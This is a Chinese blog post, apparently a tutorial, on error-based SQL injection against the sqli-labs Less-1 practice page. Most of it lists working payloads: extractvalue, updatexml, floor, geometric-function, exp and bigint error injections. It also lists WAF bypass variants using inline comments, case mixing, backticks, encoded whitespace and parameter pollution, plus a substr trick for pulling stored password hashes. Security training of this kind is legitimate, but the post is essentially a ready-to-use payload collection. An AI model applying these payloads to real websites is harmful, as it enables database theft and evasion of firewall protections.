sql注入杂谈(二)--报错注入
其实报错注入是很强的,网上也有很多讲报错注入的,语法都有,但是很少有人讲解报错注入的绕waf,所以今天我小试牛刀,讲讲我自己的见解
我就基于我自己的见解分享一下我自己的报错注入绕过,let's go
我们还是基于less-1来说,首先是第一条语句(extractvalue)
原理我就不阐述了,但是大家还是要对原理了解清楚,不然用的都是别人的东西
第一个:http://127.0.0.1/sql/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
基于waf,它会过滤哪些敏感的东西呢?
可能有单引号,and,extractvalue,database
然后我们一个一个来拆分
(1)and 首先联想到的就是 && &=%26 通过编码绕过,然后就是给编码内联注入绕过/*!&&*/ /*!%26%26*/ /*!50000&&*/ /*!50000%26%26*/
这个是基于and过滤的payload 127.0.0.1/sql/Less-1/?id=-1' /*!50000%26%26*/ extractvalue(1,concat(0x7e,(select database()),0x7e))--+ //举一反三 or and xor也是这样
所有的报错注入and 都可已换为or xor and 随便换 在Ps一下 :我们熟知的or = || 当然 or = |
(2)然后就是extractvalue,这个我们可以怎么绕过呢
第一是大小写绕过extRactvAlue,因为不一定所有函数的大小写waf的正则表达式都包括了。
第二是内联注释,内联注释大法好啊,/*!50000%26%26*/ /*!50000extRactvAlue*/(1,concat(0x7e,(select database()),0x7e))--+。
第三是特殊符号绕过,
1./*!50000%26%26*/ /*!50000`extRactvAlue`*/(1,concat(0x7e,(select database()),0x7e))--+ 借助反引号我们绕过了
2./*!50000%26%26*/!!!/*!50000`extRactvAlue`*/(1,concat(0x7e,(select database()),0x7e))--+ 利用感叹号绕过
3.%0bor%0b(extractvalue(1,concat(0x7e,(select database()),0x7e)))--+ 利用%0b来绕过
4./*!50000%26%26*/!!!/*!50000`extRactvAlue`*/(1,concat(0x7e,(select database()),0x7e))/*!50000*/--+ 在后面加上内联注释
(3)然后就是database
基于database的绕过请参照我的第一篇文章
(4)利用hpp参数污染绕过
/*&id='and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+*/ //然后我们可以在参数污染里面动手脚,大家都懂吧
当然这样以后,我们还是没有绕过,那是很正常的,哈哈哈哈,然后接下来就需要运用整体法
(1)首先是运用procedure analyse解析法
procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)--+ //rand()是生成一个0~1的随机数,对于rand函数如果有印象的朋友肯定会联想到floor报错,当然,我们也可以在pro的基础上加上我们刚刚的方法
procedure%23%0aanalyse(/*!50000`extractvalue`*/(rand(),`concat`(0x3a,database/**/(/*!50000*/))),1)/*!11340*/--+ 这样绕过,运用组合拳
ps一下:当我们查表的时候,from information_schema.tables where table_schema='security' 我们可以把security变为hex编码,因为某些waf对自己的数据库表名很敏感。对了extractvalue和updatexml查询都有长度限制,当我们查询密码的时候,都是md5的值,那么我们查询最多就是31位,还有一位不知道,那个咋整,我们就需用运用md5法来查看,我们就拿updatexml来说吧
and updatexml(1,concat(0x7e, substr((select md5(password) from users limit 1,1),17,32),0x7e),1)--+ 17和32是取的长度
(2)换函数,我们报错注入除了extractvalue,还有其他的函数,绕过的方法有很多,我们要灵活多变
第二个:and(select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+ 我们可以运用floor报错来注入,绕过的方法参照extractvalue,我这里就总结有哪些报错函数了
第三个:and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
第四个:and geometrycollection((select * from(select * from(select database())a)b))--+ //后面的456789都是一样的,只是函数名变了
第五个:and multipoint((select * from(select * from(select database())a)b))--+
第六个:and polygon((select * from(select * from(select database())a)b))--+
第七个:and multipolygon((select * from(select * from(select database())a)b))--+
第八个:and linestring((select * from(select * from(select database())a)b))--+
第九个:and multilinestring((select * from(select * from(select database())a)b))--+
ps:这几个函数我没有说绕过的payload,是因为仔细看完我写的extractvalue绕过,都是通用于其他报错函数的,因为换汤不换药,重要的是变通,看waf是过滤哪些方法与哪些函数,这些才是我们绕waf的精髓
第十个:and exp(~(select * from(select database())a))--+ //利用exp报错,前面联合检测注入点,1-exp(11111)判断注入点就是基于这个原理
and!!!`exp`(~(select * from(select database())a))--+ // exp可以用反引号
第十一个:union select (!(select * from (select database())x) - ~0),2,3--+ //利用bigint报错,union select可以绕过
第十二个:or 1 group by concat_ws(0x7e,database(),floor(rand(0)*2)) having min(0) or 1--+ floor的变形
当然,我的总结只是片面的,如果大家还想变得更强,可以多看点文章,专研mysql的手册,学无止境